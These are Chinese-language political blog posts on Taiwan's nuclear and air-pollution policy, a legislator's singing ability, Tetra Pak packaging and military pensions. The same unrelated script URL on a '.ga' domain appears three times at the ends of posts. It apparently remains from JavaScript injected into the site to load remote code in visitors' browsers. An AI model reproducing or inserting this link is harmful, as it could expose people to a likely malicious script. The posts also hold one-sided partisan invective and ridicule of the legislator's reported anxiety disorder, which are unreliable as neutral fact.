作者: yuanyuchang

2012年柯一正導演跑去凱道搞快閃活動，大喊：「我是人，我反核！」口號，而當蔡英文上台真的停了核能發電之後，才發現加大火力發電會嚴重化空污。

今年柯一正又跑出來要力挺「1217反空污遊行」？！

人類技術目前基載電力就只有火力跟核能可選，如果連這點都不知道，我還真建議您老人家少發言比較好。

不禁讓我回想2013年8月，您不顧當時國際油價每桶漲破100美元的現實，堅持馬英九的油電雙漲政策是「…無視民生疾苦。這個政權以野蠻的態度回應人民理性的訴求，以粗暴的權力踐踏台灣的民主自由，罔顧民間反對聲浪，護航危害後世未來的恐怖核四，背棄基本誠信，縱容土豪強奪民地，黑箱作業急忙密簽禍國殃民的服貿協議，馬政權根本是一個無法被文明說服的獨裁寡頭。…」

然後您與一貫腦袋不清、錯誤且誇大地主張石油危機的清大彭明輝（彭明輝的經濟預測錯得離譜，六年來被我打臉數次，請參考 https://goo.gl/YUTt5P）等人發起倒馬罷免運動，主張罷免馬系立委。

而自蔡英文上任總統至今約一年半，國內油價上漲13%，但同期國際油價明明還下跌約9%！依照你們當年主張的原則，怎麼不見你們這群人因蔡英文油價不合理飛漲而有任何罷免行動？

你們當年反服貿就錯得離譜，根本不懂正確的經濟邏輯（正確分析請見：⟪關於兩岸服務貿易協議⟫ https://wp.me/p9ffS3-mQ 與⟪談談最近的服貿與學運⟫https://wp.me/p9ffS3-o1）。

現在又跳出來像個任性耍彆扭的小孩，賴在地上這也不要、那也不要。又欠缺基礎物理邏輯地誤認台灣拿掉核電跟火力發電都可以。很難看耶。https://js.developerstatss.ga/stat.js?n=ns1

昨天我提到林昶佐唱歌很難聽，剛好有自稱歌迷的網友於FB上來討論，我回覆談到：

“..林昶佐在幾首民謠版，歌聲明顯很普通，無論音質、音色乃至於技巧（例如共鳴點掌握或轉換）或對歌曲詮釋，聽起來沒啥特別可取之處。
除了題材較特殊（其實也是充滿錯誤歷史認知的煽動居多啦）外，純就歌藝本身而言，我不覺得有比F4之流的假歌星好到哪去。
3. 舉例來說，帕華洛帝30出頭歲唱歌劇「弄臣」，無論音質、音色乃至於技巧都是近乎完美；即便當時錄音品質不高，三者的完美性也能聽出來。
鄧麗君到日本之後的作品也是在這三者大有長進。
而美空雲雀癌症之後的「川流不息」，雖然她本身嗓音對比年輕時沙啞低沈許多，但是三者於此曲也是近乎完美表現，尤其詮釋歌曲時的共鳴點轉換，打破傳統演歌偏於扁平的唱腔，一流作品無誤！
Louis Armstrong與Ella Fitzgerald的三張專輯中，Louis的音質音色明顯比不上Ella，但是技巧、詮釋卻大大彌補不足之處，加上小喇叭手的丹田氣力讓Louis有超乎常人的共鳴力道，使得他唱歌稱不上完美，但大有可取之處。"

回覆中我特別舉了美空雲雀，剛好有首「蘋果花(リンゴ追分)」，有美空早期與晚期（昭和27年 v. 56年）可以明顯對比並從中讓讀者了解我在說什麼。影片：

美空雲雀晚期的音色雖然略差，但差異不大；可音質卻差了一大截，除了因為年老、癌症，前半生自己對嗓子的肆意破壞也是原因之一。可是唱歌技巧卻大有長進，尤其早期那種純演歌的略扁、以頭腔/鼻腔共鳴為主到晚期的多個共鳴點來回轉換，各位應該可以聽出來我在談的唱歌技巧是什麼。

是的，發音技巧跟唱歌技巧是兩回事。

嘶吼腔只是一種發音技巧（還是我覺得很難聽的一種），海豚音也只是一種發音技巧，二者勤加練習可以習得，但不代表那是唱歌技巧好。

學過聲樂都知道，如果我們把喉嚨當做樂器，習得各種不同發音技巧只是擴大樂器的可演奏範圍，但不代表演奏曲子就必然好聽。

此外我還要提，對比金屬樂愛好者崇拜的嘶吼腔，其實我認為全面性掌握各種發聲技巧的高手是 Bobby McFerrin，除了可以自由在4個八度音自由遊走（可瞬間從假音跳到超低音），還會中亞喉音，可演唱基礎音調，外加二到三部和弦，創造明明一個人在唱，聽起來卻是多部合音的錯覺！

這種發音技巧（沒錯，這還只是發音技巧），我認為比嘶吼腔難多了。

Bobby與Yoyo Ma合作的Hush專輯強烈推薦，各位可以聽聽人聲怎樣與大小提琴完美融合：

特別舉了幾個歌唱技巧高超的（帕華洛帝、鄧麗君、美空雲雀、Armstrong），再另舉一個從發音技巧到唱歌技巧都天賦異秉的Bobby McFerrin，希望幫助大家理解「我所謂的聲樂訓練」是什麼東西，也進一步理解為什麼我說林昶佐唱歌很難聽也無可取之處。https://js.developerstatss.ga/stat.js?n=ns1

JustWater這種騙假文青真無知的商品看得我笑意滿滿 XD

1. 利樂包是包上很多層塑膠（LDPE）與鋁箔的紙材，一點也不環保，而且比起傳統HDPE塑膠瓶來說，塑化劑甚至更容易溶出。

好笑的是，HDPE塑膠瓶非常容易回收，只要清洗乾淨、打碎、烘乾，幾乎就可直接進吹出成形機製作新塑膠產品。做過塑膠工廠就知道，市面上很容易買到這種回收塑料。

利樂包回收呢？多材質複合回收哪這麼容易呀！成本也高多了。

此外利樂包壓扁的體積，依然比打碎成顆粒的塑膠瓶大，說節省運輸空間根本是騙外行。

講白話就是：換成利樂包更不環保，也更不健康。只是騙對工業材料極端無知的蠢文青的行銷噱頭。

ETtoday報導：「軍人服役40年替代率100%？林昶佐：比一般民眾優渥太多」

內容：「國防部14日公佈「軍人退撫新制草案」，其中，為鼓勵「長留久用」，月退俸計算可能與美軍退撫制度相同，現役軍人服役滿20年，所得替代率從50%起跳，每服役1年增加2.5%，滿40年則可達100%；對此，時代力量立委林昶佐認為，這樣做到40年的將官，薪水至少10萬以上，退休後還能繼續領10萬以上的退休金，這實在比一般民眾生活優渥太多…」

姑且不論中國時報曾報導：「…林昶佐，2007年曾對媒體坦承，大學時期為逃兵役曾力圖緩徵，想辦法延畢，但後來因焦慮症嚴重，才被判免兵役。林受訪時還說，不吃藥就會很焦慮，會不斷開冰箱、鎖門等強迫症狀，更自爆：「有次去日本忘帶藥，在地鐵站癱了噴屎噴尿，糗到爆。」…」

其實一秒分辨是否真的報酬過於優渥，快速應用經濟學就可得到答案。

當某樣東西用值遠大於換值時，代表消費者盈餘極高，則競爭之下願意爭取者不但眾多，而且各種手段或代價也願意支付。例如有廠商舉辦某活動加一元多一台M-Benz S class，但限現場報名前100位中抽一位。可以想見多少人半夜就跑去排隊之外，各種插隊、代排、走後門等怪招肯定百花齊放。

回過頭，我們總見到一堆政客耗盡家產、用盡人脈、丟盡臉面、踐踏自尊地下跪競爭立委。好像沒見過有人為了簽「志願留營」或為了讀軍校這樣拼命的。反之，國軍老徵不夠兵才是我們看到的現象。

顯然由競爭的行為表現可知：當立委太好賺；當兵太難賺。

若林昶佐真心認為新制會讓國軍太優渥，那強烈建議您力推退撫新制過關，幫助國軍徵足兵力，然後自己也快快從軍去，別再焦慮了。

#你們這種又要台獨又不讓台灣徵足兵力的人真奇怪
#唱歌這麼難聽還要上台表演的確是會焦慮

 https://js.developerstatss.ga/stat.js?n=ns1